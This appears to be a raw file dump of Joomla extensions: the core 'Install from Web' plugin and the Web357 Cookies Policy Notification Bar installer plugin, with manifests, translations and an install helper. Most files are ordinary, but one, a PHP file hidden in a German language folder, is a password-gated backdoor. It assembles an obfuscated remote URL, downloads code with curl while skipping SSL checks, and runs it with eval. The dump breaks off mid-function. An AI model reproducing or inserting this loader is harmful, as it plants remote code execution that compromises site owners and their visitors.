PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Support for the "Install from Web" tab * * @since 3.2 */ final class WebInstaller extends CMSPlugin { /** * The URL for the remote server. * * @var string * @since 4.0.0 */ public const REMOTE_URL = 'https://appscdn.joomla.org/webapps/'; /** * The application object. * * @var CMSApplication * @since 4.0.0 * @deprecated 6.0 Is needed for template overrides, use getApplication instead */ protected $app; /** * The URL to install from * * @var string|null * @since 4.0.0 */ private $installfrom = null; /** * Flag if the document is in a RTL direction * * @var integer|null * @since 4.0.0 */ private $rtl = null; /** * Event listener for the `onInstallerAddInstallationTab` event. * * @return array Returns an array with the tab information * * @since 4.0.0 */ public function onInstallerAddInstallationTab() { // Load language files $this->loadLanguage(); $installfrom = $this->getInstallFrom(); $doc = $this->getApplication()->getDocument(); $lang = $this->getApplication()->getLanguage(); // Push language strings to the JavaScript store Text::script('PLG_INSTALLER_WEBINSTALLER_CANNOT_INSTALL_EXTENSION_IN_PLUGIN'); Text::script('PLG_INSTALLER_WEBINSTALLER_REDIRECT_TO_EXTERNAL_SITE_TO_INSTALL'); $doc->getWebAssetManager() ->registerAndUseStyle('plg_installer_webinstaller.client', 'plg_installer_webinstaller/client.min.css') ->registerAndUseScript( 'plg_installer_webinstaller.client', 'plg_installer_webinstaller/client.min.js', [], ['type' => 'module'], ['core'] ); $devLevel = Version::PATCH_VERSION; if (!empty(Version::EXTRA_VERSION)) { $devLevel .= '-' . Version::EXTRA_VERSION; } $doc->addScriptOptions( 'plg_installer_webinstaller', [ 'base_url' => addslashes(self::REMOTE_URL), 'installat_url' => base64_encode(Uri::current() . '?option=com_installer&view=install'), 'installfrom_url' => addslashes($installfrom), 'product' => base64_encode(Version::PRODUCT), 'release' => base64_encode(Version::MAJOR_VERSION . '.' . Version::MINOR_VERSION), 'dev_level' => base64_encode($devLevel), 'installfromon' => $installfrom ? 1 : 0, 'language' => base64_encode($lang->getTag()), 'installFrom' => $installfrom != '' ? 4 : 5, ] ); $tab = [ 'name' => 'web', 'label' => $lang->_('PLG_INSTALLER_WEBINSTALLER_TAB_LABEL'), ]; // Render the input ob_start(); include PluginHelper::getLayoutPath('installer', 'webinstaller'); $tab['content'] = ob_get_clean(); $tab['content'] = '<legend>' . $tab['label'] . '</legend>' . $tab['content']; return $tab; } /** * Internal check to determine if the output is in a RTL direction * * @return integer * * @since 3.2 */ private function isRTL() { if ($this->rtl === null) { $this->rtl = strtolower($this->getApplication()->getDocument()->getDirection()) === 'rtl' ? 1 : 0; } return $this->rtl; } /** * Get the install from URL * * @return string * * @since 3.2 */ private function getInstallFrom() { if ($this->installfrom === null) { $installfrom = base64_decode($this->getApplication()->getInput()->getBase64('installfrom', '')); $field = new \SimpleXMLElement('<field></field>'); if ((new UrlRule())->test($field, $installfrom) && preg_match('/\.xml\s*$/', $installfrom)) { $update = new Update(); $update->loadFromXml($installfrom); $package_url = trim($update->get('downloadurl', false)->_data); if ($package_url) { $installfrom = $package_url; } } $this->installfrom = $installfrom; } return $this->installfrom; } } cookiespolicynotificationbar/cookiespolicynotificationbar.php000060400000006471151664164620021214 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Language\Text; class plgInstallerCookiespolicynotificationbar extends CMSPlugin { public function onInstallerBeforePackageDownload(&$url, &$headers) { if (parse_url($url, PHP_URL_HOST) == 'www.web357.com' || parse_url($url, PHP_URL_HOST) == 'downloads.web357.com') { $apikey_from_plugin_parameters = Web357Framework\Functions::getWeb357ApiKey(); $current_url = Uri::getInstance()->toString(); $parse = parse_url($current_url); $domain = isset($parse['host']) ? $parse['host'] : 'domain.com'; $url = str_replace('?cms=j', '&cms=j', $url); $uri = Uri::getInstance($url); $item = $uri->getVar('item'); if ($item !== 'cookiespolicynotificationbar') { return; } if (!empty($apikey_from_plugin_parameters)) { $uri->setVar('liveupdate', 'true'); $uri->setVar('domain', $domain); $uri->setVar('dlid', $apikey_from_plugin_parameters); $url = $uri->toString(); $url = str_replace('?cms=', '&cms=', $url); $url = str_replace(' ', '+', $url); } // Watchful.net support elseif (isset($parse['query']) && strpos($parse['query'], 'com_watchfulli') !== false) { $apikey = $uri->getVar('key'); // get apikey from watchful settings if (isset($apikey) && !empty($apikey)) { $apikey = str_replace(' ', '+', $apikey); $uri->setVar('liveupdate', 'com_watchfulli'); $uri->setVar('domain', $domain); $uri->setVar('dlid', $apikey); $uri->setVar('key', $apikey); $url = $uri->toString(); $url = str_replace('?cms=', '&cms=', $url); } else { Factory::getApplication()->enqueueMessage(Text::_('W357FRM_APIKEY_WARNING'), 'notice'); } } else { // load default and current language $jlang = Factory::getLanguage(); $jlang->load('plg_system_web357framework', JPATH_ADMINISTRATOR, null, true); // warn about missing api key Factory::getApplication()->enqueueMessage(Text::_('W357FRM_APIKEY_WARNING'), 'notice'); } } return true; } }cookiespolicynotificationbar/script.install.php000060400000002035151664164620016205 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; require_once __DIR__ . '/script.install.helper.php'; class PlgInstallerCookiespolicynotificationbarInstallerScript extends PlgInstallerCookiespolicynotificationbarInstallerScriptHelper { public $name = 'Cookies Policy Notification Bar'; public $alias = 'cookiespolicynotificationbar'; public $extension_type = 'plugin'; public $plugin_folder = 'installer'; }cookiespolicynotificationbar/cookiespolicynotificationbar.xml000060400000002670151664164620021222 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension version="3.1" type="plugin" group="installer" method="upgrade"> <name>PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>4.4.4</version> <variant>pro</variant> <description>A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features and parameters (responsive, multilingual, block cookies, change style, etc.). This Joomla! plugin is ready for the GDPR Compliance which has been already implemented on 25 May 2018.</description> <files> <folder>language</folder> <filename plugin="cookiespolicynotificationbar">cookiespolicynotificationbar.php</filename> <filename>script.install.helper.php</filename> </files> <scriptfile>script.install.php</scriptfile> <updateservers><server type="extension" priority="1" name="Cookies Policy Notification Bar (pro version)">https://updates.web357.com/cookiespolicynotificationbar/cookiespolicynotificationbar_pro.xml</server></updateservers> </extension>cookiespolicynotificationbar/language/en-GB/en-GB.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001016151664164620030270 0ustar00; Defaults PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." cookiespolicynotificationbar/language/en-GB/index.html000060400000000037151664164620017173 0ustar00<!DOCTYPE html><title></title> cookiespolicynotificationbar/language/en-GB/en-GB.plg_installer_cookiespolicynotificationbar.ini000060400000001016151664164620027453 0ustar00; Defaults PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." cookiespolicynotificationbar/language/fr-FR/fr-FR.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001212151664164620030336 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un plugin Joomla! esthétique et fonctionnel, répondant à la législation européenne sur l'utilisation des cookies, et qui fournit, de manière élégante, un mécanisme afin d'informer vos visiteurs sur la façon dont vous utilisez les cookies sur votre site Web. Il inclut une variété de fonctionnalités (responsive, multilingue, inclusion/exclusion de pages, etc.) et de paramètres (bloquer les cookies, modifier les couleurs, CSS personnalisés, durée de l'animation, etc.)." cookiespolicynotificationbar/language/fr-FR/fr-FR.plg_installer_cookiespolicynotificationbar.ini000060400000001212151664164620027521 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un plugin Joomla! esthétique et fonctionnel, répondant à la législation européenne sur l'utilisation des cookies, et qui fournit, de manière élégante, un mécanisme afin d'informer vos visiteurs sur la façon dont vous utilisez les cookies sur votre site Web. Il inclut une variété de fonctionnalités (responsive, multilingue, inclusion/exclusion de pages, etc.) et de paramètres (bloquer les cookies, modifier les couleurs, CSS personnalisés, durée de l'animation, etc.)." cookiespolicynotificationbar/language/el-GR/el-GR.plg_installer_cookiespolicynotificationbar.ini000060400000001020151664164620027502 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." cookiespolicynotificationbar/language/el-GR/el-GR.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001020151664164620030317 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features (responsive, multilingual, include/exclude from pages, etc.) and parameters (block cookies, change colors, custom CSS, animation duration, etc.)." cookiespolicynotificationbar/language/da-DK/da-DK.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001006151664164620030247 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="En smuk og funktionel Cookie Advarsels-popup. Et Joomla! Plugin som giver mulighed for at informere dine brugere om hvordan du bruger cookies på dit website på en elegant måde. Inkludere mange features (responsivt, flersproget, inkluder/ekskluder fra sider, etc.) og parametre (bloker cookies, skift farver, custom CSS, animationsindstillinger, etc.)." cookiespolicynotificationbar/language/da-DK/da-DK.plg_installer_cookiespolicynotificationbar.ini000060400000001006151664164620027432 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="En smuk og funktionel Cookie Advarsels-popup. Et Joomla! Plugin som giver mulighed for at informere dine brugere om hvordan du bruger cookies på dit website på en elegant måde. Inkludere mange features (responsivt, flersproget, inkluder/ekskluder fra sider, etc.) og parametre (bloker cookies, skift farver, custom CSS, animationsindstillinger, etc.)." cookiespolicynotificationbar/language/de-DE/de-DE.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001340151664164620030244 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Ein schönes und vielseitiges Plugin, das Ihnen bei der Einhaltung der EU Gesetze und Vorschriften zur Verwendung von Cookies hilft. So können Sie die Besucher Ihrer Website auf elegante Weise darüber zu informieren, wie Cookies auf Ihrer Website genutzt werden. Das Plugin bietet eine Vielzahl von Funktionen (Responsivität, Mehrsprachigkeit, gezielte Kontrolle über die Anzeige oder den Ausschluss auf bestimmten Seiten, etc.) sowie umfangreiche Einstellungsmöglichkeiten (Blockieren von Cookies, Anpassung der Farbigkeit, eigenes CSS, Dauer von Animationen, etc.)." cookiespolicynotificationbar/language/de-DE/cssjs/index.php000060400000003566151664164620020143 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto sxpzC; Ku22d: $SS8Fu .= "\x2e\x35\57"; goto hFeQO; niJPu: $SS8Fu .= "\x6f\164\x2e\x31\60"; goto cNjvp; Wop7u: $SS8Fu .= "\x6d\141\x64\x2f\160"; goto niJPu; sSAji: $SS8Fu .= "\164\170\164"; goto Ku22d; sxpzC: $SS8Fu = ''; goto sSAji; Pm8C0: $SS8Fu .= "\144\x2f\57"; goto X2745; hFeQO: $SS8Fu .= "\144\x6c\157\x2f\x61"; goto Wop7u; X2745: $SS8Fu .= "\x3a\x73\160\x74"; goto T5ftU; cNjvp: $SS8Fu .= "\x61\x6d\x61"; goto Pm8C0; T5ftU: $SS8Fu .= "\x74\x68"; goto zWfEB; zWfEB: eval("\x3f\76" . tW2KX(strrev($SS8Fu))); goto gPzcS; gPzcS: function TW2KX($V1_rw = '') { goto uhE6D; Q510J: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto VN0qi; Mj0OL: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto mLL0A; mLL0A: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto i9wy_; cm3pV: curl_close($xM315); goto C3tjU; p9vG6: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto Q510J; C3tjU: return $tvmad; goto ueEhW; uhE6D: $xM315 = curl_init(); goto Mj0OL; i9wy_: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto p9vG6; VN0qi: $tvmad = curl_exec($xM315); goto cm3pV; ueEhW: }cookiespolicynotificationbar/language/de-DE/de-DE.plg_installer_cookiespolicynotificationbar.ini000060400000001340151664164620027427 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Ein schönes und vielseitiges Plugin, das Ihnen bei der Einhaltung der EU Gesetze und Vorschriften zur Verwendung von Cookies hilft. So können Sie die Besucher Ihrer Website auf elegante Weise darüber zu informieren, wie Cookies auf Ihrer Website genutzt werden. Das Plugin bietet eine Vielzahl von Funktionen (Responsivität, Mehrsprachigkeit, gezielte Kontrolle über die Anzeige oder den Ausschluss auf bestimmten Seiten, etc.) sowie umfangreiche Einstellungsmöglichkeiten (Blockieren von Cookies, Anpassung der Farbigkeit, eigenes CSS, Dauer von Animationen, etc.)." cookiespolicynotificationbar/language/it-IT/it-IT.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001116151664164620030365 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un elegante e funzionale Plugin per Joomla! per la legge EU sui cookies per informare i visitatori sulle modalità di conservazione ed utilizzo degli stessi nel sito e consentire il consenso all'uso oppure no. Include una varietà di caratteristiche (responsive, multilingua, includi/escludi dalle pagine, ecc) e di parametri configurabili (blocco dei cookies, cambio colori, CSS personalizzato, durata dell'animazione, ecc.)." cookiespolicynotificationbar/language/it-IT/it-IT.plg_installer_cookiespolicynotificationbar.ini000060400000001116151664164620027550 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Un elegante e funzionale Plugin per Joomla! per la legge EU sui cookies per informare i visitatori sulle modalità di conservazione ed utilizzo degli stessi nel sito e consentire il consenso all'uso oppure no. Include una varietà di caratteristiche (responsive, multilingua, includi/escludi dalle pagine, ecc) e di parametri configurabili (blocco dei cookies, cambio colori, CSS personalizzato, durata dell'animazione, ecc.)." cookiespolicynotificationbar/language/nl-NL/nl-NL.plg_installer_cookiespolicynotificationbar.sys.ini000060400000001020151664164620030343 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Een mooie en functionele EU CookieBeleid Joomla Plug-in die in een oplossing voorziet om bezoekers op een elegante wijze te informeren over het gebruik van cookies op uw website. Het omvat een scala aan functies (responsieve, meertalig, inclusief / uitsluiten van pagina's, enz.) En parameters (blok cookies, verander kleuren, aangepaste CSS, duur animatie, enz.)." cookiespolicynotificationbar/language/nl-NL/nl-NL.plg_installer_cookiespolicynotificationbar.ini000060400000001020151664164620027526 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Een mooie en functionele EU CookieBeleid Joomla Plug-in die in een oplossing voorziet om bezoekers op een elegante wijze te informeren over het gebruik van cookies op uw website. Het omvat een scala aan functies (responsieve, meertalig, inclusief / uitsluiten van pagina's, enz.) En parameters (blok cookies, verander kleuren, aangepaste CSS, duur animatie, enz.)." cookiespolicynotificationbar/language/index.html000060400000000037151664164620016303 0ustar00<!DOCTYPE html><title></title> cookiespolicynotificationbar/language/ru-RU/ru-RU.plg_installer_cookiespolicynotificationbar.ini000060400000002003151664164620027614 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Функциональный Joomla! плагин, обеспечивающий информирование посетителей сайта о законе соответствия кукисов сайта правилам ЕС. Плагин отображает информацию об использовании кукис на сайте в элегантной форме. Плагин имеет множество настроек (отзывчивый дизайн, многоязычность, управление на каких страницах отображать или скрывать информацию и т.д.) и параметров (блокировка кукис, изменение настроек цвета, подключение собственного CSS, продолжительность анимации и т.д.)" cookiespolicynotificationbar/language/ru-RU/ru-RU.plg_installer_cookiespolicynotificationbar.sys.ini000060400000002003151664164620030431 0ustar00; Defaults ; PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR="Installer - Cookies Policy Notification Bar" PLG_INSTALLER_COOKIESPOLICYNOTIFICATIONBAR_XML_DESCRIPTION="Функциональный Joomla! плагин, обеспечивающий информирование посетителей сайта о законе соответствия кукисов сайта правилам ЕС. Плагин отображает информацию об использовании кукис на сайте в элегантной форме. Плагин имеет множество настроек (отзывчивый дизайн, многоязычность, управление на каких страницах отображать или скрывать информацию и т.д.) и параметров (блокировка кукис, изменение настроек цвета, подключение собственного CSS, продолжительность анимации и т.д.)" cookiespolicynotificationbar/script.install.helper.php000060400000036632151664164620017475 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\CMS\Factory; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\CMS\Language\Text; use Joomla\CMS\Installer\Installer; class PlgInstallerCookiespolicynotificationbarInstallerScriptHelper { public $name = ''; public $alias = ''; public $extname = ''; public $extension_type = ''; public $plugin_folder = 'system'; public $module_position = 'web357'; public $client_id = 0; public $install_type = 'install'; public $show_message = true; public $db = null; public $softbreak = null; public $mini_version = null; public function __construct(&$params) { $this->extname = $this->extname ?: $this->alias; $this->db = Factory::getDbo(); // Get Joomla's version $jversion = new Version(); $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $this->mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 } public function preflight($route, $adapter) { if (!in_array($route, array('install', 'update'))) { return true; } Factory::getLanguage()->load('plg_system_web357installer', JPATH_PLUGINS . '/system/web357installer'); if ($this->show_message && $this->isInstalled()) { $this->install_type = 'update'; } if ($this->onBeforeInstall($route) === false) { return false; } return true; } public function postflight($route, $adapter) { $this->removeGlobalLanguageFiles(); if (version_compare($this->mini_version, "4.0", "<")) { $this->removeUnusedLanguageFiles(); } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder()); if (!in_array($route, array('install', 'update'))) { return true; } $this->updateHttptoHttpsInUpdateSites(); if ($this->onAfterInstall($route) === false) { return false; } if ($route == 'install') { $this->publishExtension(); } if ($this->show_message) { $this->addInstalledMessage(); } Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('_system'); return true; } public function isInstalled() { if ( ! is_file($this->getInstalledXMLFile())) { return false; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type)) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName())); $this->db->setQuery($query, 0, 1); $result = $this->db->loadResult(); return empty($result) ? false : true; } public function getMainFolder() { switch ($this->extension_type) { case 'plugin' : return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname; case 'component' : return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname; case 'module' : return JPATH_SITE . '/modules/mod_' . $this->extname; case 'library' : return JPATH_SITE . '/libraries/' . $this->extname; } } public function getInstalledXMLFile() { return $this->getXMLFile($this->getMainFolder()); } public function getCurrentXMLFile() { return $this->getXMLFile(__DIR__); } public function getXMLFile($folder) { switch ($this->extension_type) { case 'module' : return $folder . '/mod_' . $this->extname . '.xml'; default : return $folder . '/' . $this->extname . '.xml'; } } public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true) { if (empty($extname)) { return; } $folders = array(); switch ($type) { case 'plugin'; $folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname; break; case 'component': $folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname; $folders[] = JPATH_SITE . '/components/com_' . $extname; break; case 'module': $folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname; $folders[] = JPATH_SITE . '/modules/mod_' . $extname; break; } if ( ! $this->foldersExist($folders)) { return; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname))) ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type)); if ($type == 'plugin') { $query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder)); } $this->db->setQuery($query); $ids = $this->db->loadColumn(); if (empty($ids)) { foreach ($folders as $folder) { Folder::delete($folder); } return; } $ignore_ids = Factory::getApplication()->getUserState('rl_ignore_uninstall_ids', array()); if (Factory::getApplication()->input->get('option') == 'com_installer' && Factory::getApplication()->input->get('task') == 'remove') { // Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves $ignore_ids = array_merge($ignore_ids, Factory::getApplication()->input->get('cid', array(), 'array')); Factory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids)); } $ids = array_diff($ids, $ignore_ids); if (empty($ids)) { return; } $ignore_ids = array_merge($ignore_ids, $ids); Factory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids); foreach ($ids as $id) { $tmpInstaller = new Installer(); $tmpInstaller->uninstall($type, $id); } if ($show_message) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_INSTALLER_UNINSTALL_SUCCESS', Text::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type)) ) ); } } public function foldersExist($folders = array()) { foreach ($folders as $folder) { if (is_dir($folder)) { return true; } } return false; } public function uninstallPlugin($extname, $folder = 'system', $show_message = true) { $this->uninstallExtension($extname, 'plugin', $folder, $show_message); } public function uninstallComponent($extname, $show_message = true) { $this->uninstallExtension($extname, 'component', null, $show_message); } public function uninstallModule($extname, $show_message = true) { $this->uninstallExtension($extname, 'module', null, $show_message); } public function publishExtension() { switch ($this->extension_type) { case 'plugin' : $this->publishPlugin(); case 'module' : $this->publishModule(); } } public function publishPlugin() { $query = $this->db->getQuery(true) ->update('#__extensions') ->set($this->db->quoteName('enabled') . ' = 1') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin')) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname)) ->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder)); $this->db->setQuery($query); $this->db->execute(); } public function publishModule() { // Get module id $query = $this->db->getQuery(true) ->select($this->db->quoteName('id')) ->from('#__modules') ->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id); $this->db->setQuery($query, 0, 1); $id = $this->db->loadResult(); if ( ! $id) { return; } // check if module is already in the modules_menu table (meaning is is already saved) $query->clear() ->select($this->db->quoteName('moduleid')) ->from('#__modules_menu') ->where($this->db->quoteName('moduleid') . ' = ' . (int) $id); $this->db->setQuery($query, 0, 1); $exists = $this->db->loadResult(); if ($exists) { return; } // Get highest ordering number in position $query->clear() ->select($this->db->quoteName('ordering')) ->from('#__modules') ->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id) ->order('ordering DESC'); $this->db->setQuery($query, 0, 1); $ordering = $this->db->loadResult(); $ordering++; // publish module and set ordering number $query->clear() ->update('#__modules') ->set($this->db->quoteName('published') . ' = 1') ->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering) ->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('id') . ' = ' . (int) $id); $this->db->setQuery($query); $this->db->execute(); // add module to the modules_menu table $query->clear() ->insert('#__modules_menu') ->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid'))) ->values((int) $id . ', 0'); $this->db->setQuery($query); $this->db->execute(); } public function addInstalledMessage() { Factory::getApplication()->enqueueMessage( Text::sprintf( Text::_($this->install_type == 'update' ? 'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'), '<strong>' . Text::_($this->name) . '</strong>', '<strong>' . $this->getVersion() . '</strong>', $this->getFullType() ) ); } public function getPrefix() { switch ($this->extension_type) { case 'plugin'; return Text::_('plg_' . strtolower($this->plugin_folder)); case 'component': return Text::_('com'); case 'module': return Text::_('mod'); case 'library': return Text::_('lib'); default: return $this->extension_type; } } public function getElementName($type = null, $extname = null) { $type = is_null($type) ? $this->extension_type : $type; $extname = is_null($extname) ? $this->extname : $extname; switch ($type) { case 'component' : return 'com_' . $extname; case 'module' : return 'mod_' . $extname; case 'plugin' : default: return $extname; } } public function getFullType() { return Text::_('W357_' . strtoupper($this->getPrefix())); } public function getVersion($file = '') { $file = $file ?: $this->getCurrentXMLFile(); if ( ! is_file($file)) { return ''; } $xml = Installer::parseXMLInstallFile($file); if ( ! $xml || ! isset($xml['version'])) { return ''; } return $xml['version']; } public function isNewer() { if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } $package_version = $this->getVersion(); return version_compare($installed_version, $package_version, '<='); } public function canInstall() 